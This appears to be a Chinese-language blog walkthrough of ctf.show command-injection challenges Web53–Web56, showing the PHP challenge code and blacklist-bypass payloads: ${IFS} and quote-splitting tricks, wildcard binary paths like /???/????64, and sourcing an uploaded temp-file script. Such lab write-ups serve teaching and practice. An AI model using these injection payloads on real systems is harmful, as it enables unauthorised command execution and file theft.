今天继续给大家写一篇命令执行的CTF题目讲解,好久没写应急响应和渗透测试的文章了;明天或者后天给大家写一篇,换换口味,不然也有点太枯燥了;
文章目录
Web53
还是老样子,先看代码:
bash
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
这里我们发现了新的部分:$d = system($c);
,这个作用是什么?
- 作用:
- 它会执行
system()
函数,该函数会调用操作系统的命令行来执行 $c 变量中的命令。 - system() 函数会将命令的输出直接打印到标准输出(即网页上)。
- system() 函数的返回值是命令执行的最后一行输出,这个返回值会被赋给变量 $d。
- 代码随后使用
echo "<br>".$d;
将 $d 的值(也就是命令的最后一行输出)在新的一行打印出来。
- 它会执行
所以,如果你的命令有多个输出行,你会在页面上看到完整的输出,并且最后一行会被重复显示。
随便输入命令看看结果:

发现也是直接得到flag;
注意:因为代码不存在 2>/dev/null
所以就不需要管道符||
来隔断后面代码了(不要僵化思维,仔细观察代码)
所以payload为:
bash
# payload
?c=t''ac${IFS}f''lag.php
?c=c''at${IFS}f''lag.php
?c=n''l${IFS}f''lag.php
?c=m''ore${IFS}f''lag.php
?c=l''ess${IFS}f''lag.php
# 不用查看源代码
?c=c\at${IFS}fl\ag.php
?c=t\ac${IFS}fl\ag.php
?c=n\l${IFS}fl\ag.php
?c=mor\e${IFS}fl\ag.php
?c=les\s${IFS}fl\ag.php
没什么好说的,直接下一关;
Web54(新知识)
bash
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里我们也是直接观察代码,发现它把我们的fla?.php
或者fla*
等通配符格式全部过滤了,那我们应该怎么办呢?
事实证明,之前的payload都用不了了;
没事,船到桥头自然直,所以我们也有对应的方法:
bash
# payload
?c=vi${IFS}fla?.php
# 新payload,我也是刚了解,查看源代码
?c=paste${IFS}fla?.php
该 PHP 代码存在命令注入漏洞,但有非常严格的过滤规则。要绕过它,你需要利用不被黑名单过滤的命令,并且想办法绕过空格和 flag
关键字的限制。
-
为什么
?c=vi${IFS}fla?.php
可以绕过?- 主要基于以下两个原因:
-
绕过命令黑名单 :代码过滤了大量的命令,但
vi
不在其中。vi
是一个功能强大的文本编辑器,它可以用来查看文件内容,因此可以作为cat
、more
或nl
等被过滤命令的替代品。 -
绕过字符过滤器:
- 空格过滤器 :
${IFS}
这个技巧绕过了这个限制。在大多数 Shell 中,${IFS}
默认值就是空格、制表符和换行符。当你在vi
和fla?.php
之间使用它时,Shell 会将其扩展为一个空格,从而正确地将命令和参数分开。 - 关键字过滤器 :
flag
关键字被过滤了。fla?.php 利用了问号?
这个单字符通配符来匹配 flag 中的 g ,从而绕过了对flag
关键字的检查。
其他绕过方法
使用其他未被过滤的命令:
- 你可以使用任何不在黑名单中的、可以显示文件内容的命令。例如,
paste
就是一个不错的选择,因为它通常不在命令注入的黑名单中。
- payload :
?c=paste${IFS}fla?.php
总之,在这种严格的过滤条件下,最有效的方法依然是找到一个未被过滤的命令,并利用 ${IFS}
或其他类似的 Shell 变量来传递参数。
疑问:为什么fla?.php 还能匹配,不是被过滤了吗?
答:题目的正则确实过滤了许多字符和关键词,但问号
?
并不在其中。
结果显示:

使用vi
命令,页面显示乱码,查看源代码即可 :
--
Web55
观察代码:
bash
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
做多了上面的题目,你发现这题好像回到了新手村一样;
但是,我们发现它过滤了
[0-9]
,这不说明我们不能用任何字母或者函数了吗,那还能用什么来查看flag?
- 网上其他师傅的方法 :
- 字母不可,数字可时,用通配符
?
替代; - 由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
- 字母不可,数字可时,用通配符
bash
?c=/???/????64 ????.???
获得 flag.php 的 base64 编码:
此时我的心里也是???
但还是解释一下命令: /bin/base64 flag.php
- 原理 :这个命令之所以能够执行,是因为它符合 Linux/Unix 的 Shell 语法:
/bin/base64
:这是命令的完整路径。在大多数基于 Linux 的系统中,base64 这个可执行程序就存放在/bin/
目录下。直接指定完整路径,可以确保系统能找到并运行这个命令,而不需要依赖于 $PATH 环境变量。- flag.php:这是 base64 命令的参数,也就是要被编码的文件名。
- 当你在 Shell 中输入
/bin/base64 flag.php
并按下回车时,Shell 会:- 找到并运行 /bin/base64 这个程序。
- 将 flag.php 作为程序的输入参数。
- base64 程序会读取 flag.php 文件的内容,并对其进行 Base64 编码。
编码后的结果会作为标准输出,显示在你的终端屏幕上。
显示结果:
第二种方法:条件竞争
之前并未接触过这个类型的题,这里按照WP提示的方法来:
必要知识点:
- .
+/???/????????
解释.
匹配任意字符+/
:匹配一个或多个任意字符
-*.+/
:则表示匹配任意文件或目录名
[@-[]
解释:- []:通配符,表示匹配括号内的任意一个字符
- @-[]:在 ASCII 码中,@(64)到 [(91)
- 范围:@(64)~ 大写字母 A-Z(65-90)~[(91)
构造 post 数据包:文件后缀为 .html
bash
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://4945a9fe-e4ff-4a90-8456-0477ae2ee4c0.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
双击打开如下图:
注意:随便上传一个文件在文件上传的过程抓包,把文件改成shell脚本,再同时去运行这个脚本,脚本在临时文件的地方(/tmp/php加6个随机的小写字母或者数字)。
首先要打开bp抓包,步骤我就不显示了:
- 第一步:我这里命名为 1.txt,内容显示:
bash
#!/bin/sh
ls -a
- 上传我们构造的文件,使用 burpsuite 抓包(这里需要允许抓取本地的请求包):

- 发到重发器,添加 payload:,然后send发包:
bash
?c=.%20/???/????????[@-[]

- 修改 sh 命令,读取 flag.php:
bash
#!/bin/sh
cat flag.php

也是成功得到flag,第一次遇见,简单记录一下;
Web56
bash
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
观察代码,发现数字和字母都被过滤了,那还怎么搞?
还能咋样,Web55的条件竞争是不就用上了吗,具体步骤就不显示了,一模一样的方法:
此处省略五百字...
总结
今天又学了一个新方法和新payload:?c=paste${IFS}fla?.php
。总之常总结,常练习,多学多看。